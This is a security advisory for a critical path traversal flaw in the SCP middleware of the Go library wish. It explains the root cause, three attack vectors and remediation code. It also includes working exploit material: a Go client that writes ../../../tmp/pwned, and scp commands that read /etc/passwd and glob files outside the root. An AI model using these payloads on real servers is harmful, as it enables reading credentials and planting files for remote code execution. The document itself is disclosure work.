Severity: Critical
CVSS Score: 9.6
## Summary The SCP middleware in `charm.land/wish/v2` is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing `../` sequences over the SCP protocol. ## Affected Versions - `charm.land/wish/v2` — all versions through commit `72d67e6` (current `main`) - `github.com/charmbracelet/wish` — likely all v1 versions (same code pattern) ## Details ### Root Cause The `fileSystemHandler.prefixed()` method in `scp/filesystem.go:42-48` is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root: ```go func (h *fileSystemHandler) prefixed(path string) string { path = filepath.Clean(path) if strings.HasPrefix(path, h.root) { return path } return filepath.Join(h.root, path) } ``` When `path` contains `../` components, `filepath.Clean` resolves them but does not reject them. The subsequent `filepath.Join(h.root, path)` produces a path that escapes the root directory. ### Attack Vector 1: Arbitrary File Write (scp -t) When receiving files from a client (`scp -t`), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings: ```go reNewFile = regexp.MustCompile(`^C(\d{4}) (\d+) (.*)$`) reNewFolder = regexp.MustCompile(`^D(\d{4}) 0 (.*)$`) ``` The captured filename is used directly in `filepath.Join(path, name)` without sanitization (`scp/copy_from_client.go:90,140`), then passed to `fileSystemHandler.Write()` and `fileSystemHandler.Mkdir()`, which call `prefixed()` — allowing the attacker to write files and create directories anywhere on the filesystem. ### Attack Vector 2: Arbitrary File Read (scp -f) When sending files to a client (`scp -f`), the requested path comes from the SSH command arguments (`scp/scp.go:284`). This path is passed to `handler.Glob()`, `handler.NewFileEntry()`, and `handler.NewDirEntry()`, all of which call `prefixed()` — allowing the attacker to read any file accessible to the server process. ### Attack Vector 3: File Enumeration via Glob The `Glob` method passes user input containing glob metacharacters (`*`, `?`, `[`) to `filepath.Glob` after `prefixed()`, enabling enumeration of files outside the root. ## Proof of Concept All three vectors were validated with end-to-end integration tests against a real SSH server using the public `wish` and `scp` APIs. ### Vulnerable Server Any server using `scp.NewFileSystemHandler` with `scp.Middleware` is affected. This is the pattern shown in the official `examples/scp` example: ```go package main import ( "net" "charm.land/wish/v2" "charm.land/wish/v2/scp" "github.com/charmbracelet/ssh" ) func main() { handler := scp.NewFileSystemHandler("/srv/data") s, _ := wish.NewServer( wish.WithAddress(net.JoinHostPort("0.0.0.0", "2222")), wish.WithMiddleware(scp.Middleware(handler, handler)), // Default: accepts all connections (no auth configured) ) s.ListenAndServe() } ``` ### Write Traversal — Write arbitrary files outside /srv/data An attacker crafts SCP protocol messages with `../` in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to `/tmp/pwned`: ```go package main import ( "fmt" "os" gossh "golang.org/x/crypto/ssh" ) func main() { config := &gossh.ClientConfig{ User: "attacker", Auth: []gossh.AuthMethod{gossh.Password("anything")}, HostKeyCallback: gossh.InsecureIgnoreHostKey(), } client, _ := gossh.Dial("tcp", "target:2222", config) session, _ := client.NewSession() // Pipe crafted SCP protocol data into stdin stdin, _ := session.StdinPipe() go func() { // Wait for server's NULL ack, then send traversal payload buf := make([]byte, 1) session.Stdout.(interface{ Read([]byte) (int, error) }) // read ack // File header with traversal: writes to /tmp/pwned (escaping /srv/data) fmt.Fprintf(stdin, "C0644 12 ../../../tmp/pwned\n") // Wait for ack stdin.Write([]byte("hello world\n")) stdin.Write([]byte{0}) // NULL terminator stdin.Close() }() // Tell the server we're uploading to "." session.Run("scp -t .") } ``` Or equivalently using standard `scp` with a symlink trick, or by patching the openssh `scp` client to send a crafted filename. ### Read Traversal — Read arbitrary files outside /srv/data No custom tooling needed. Standard `scp` passes the path directly: ```bash # Read /etc/passwd from a server whose SCP root is /srv/data scp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd ``` The server resolves `../../../etc/passwd` through `prefixed()`: 1. `filepath.Clean("../../../etc/passwd")` → `"../../../etc/passwd"` 2. Not prefixed with `/srv/data`, so: `filepath.Join("/srv/data", "../../../etc/passwd")` → `"/etc/passwd"` 3. File contents of `/etc/passwd` are sent to the attacker. ### Glob Traversal — Enumerate and read files outside /srv/data ```bash scp -P 2222 attacker@target:'../../../etc/pass*' ./ ``` ### Validated Test Output These were confirmed with integration tests using `wish.NewServer`, `scp.Middleware`, and `scp.NewFileSystemHandler` against temp directories. The tests created a root directory and a sibling "secret" directory, then verified files were read/written across the boundary: ``` === RUN TestPathTraversalWrite PATH TRAVERSAL CONFIRMED: file written to ".../secret/pwned" (outside root ".../scproot") --- FAIL: TestPathTraversalWrite === RUN TestPathTraversalWriteRecursiveDir PATH TRAVERSAL CONFIRMED: directory created at ".../evil_dir" (outside root ".../scproot") PATH TRAVERSAL CONFIRMED: file written to ".../evil_dir/payload" (outside root ".../scproot") --- FAIL: TestPathTraversalWriteRecursiveDir === RUN TestPathTraversalRead PATH TRAVERSAL CONFIRMED: read file outside root, got content: "...super-secret-password..." --- FAIL: TestPathTraversalRead === RUN TestPathTraversalGlob PATH TRAVERSAL VIA GLOB CONFIRMED: read file outside root, got content: "...super-secret-password..." --- FAIL: TestPathTraversalGlob ``` Tests used the real SSH handshake via `golang.org/x/crypto/ssh`, real SCP protocol parsing, and real filesystem operations — confirming the vulnerability is exploitable end-to-end. ## Impact An authenticated SSH user can: - **Write arbitrary files** anywhere on the filesystem the server process can write to, leading to remote code execution via cron jobs, SSH `authorized_keys`, shell profiles, or systemd units. - **Read arbitrary files** accessible to the server process, including `/etc/shadow`, private keys, database credentials, and application secrets. - **Create arbitrary directories** on the filesystem. - **Enumerate files** outside the root via glob patterns. If the server uses the default authentication configuration (which accepts all connections — see `wish.go:19`), these attacks are exploitable by unauthenticated remote attackers. ## Remediation ### Fix `prefixed()` to enforce root containment ```go func (h *fileSystemHandler) prefixed(path string) (string, error) { // Force path to be relative by prepending / joined := filepath.Join(h.root, filepath.Clean("/"+path)) // Verify the result is still within root if !strings.HasPrefix(joined, h.root+string(filepath.Separator)) && joined != h.root { return "", fmt.Errorf("path traversal detected: %q resolves outside root", path) } return joined, nil } ``` ### Sanitize filenames in `copy_from_client.go` SCP filenames should never contain path separators or `..` components: ```go name := match[3] // or matches[0][2] for directories if strings.ContainsAny(name, "/\\") || name == ".." || name == "." { return fmt.Errorf("invalid filename: %q", name) } ``` ### Validate `info.Path` in `GetInfo` or at the middleware entry point ```go info.Path = filepath.Clean("/" + info.Path) ``` ## Credit Evan MORVAN (evnsh) — me@evan.sh (Research) Claude Haiku (formatting the report)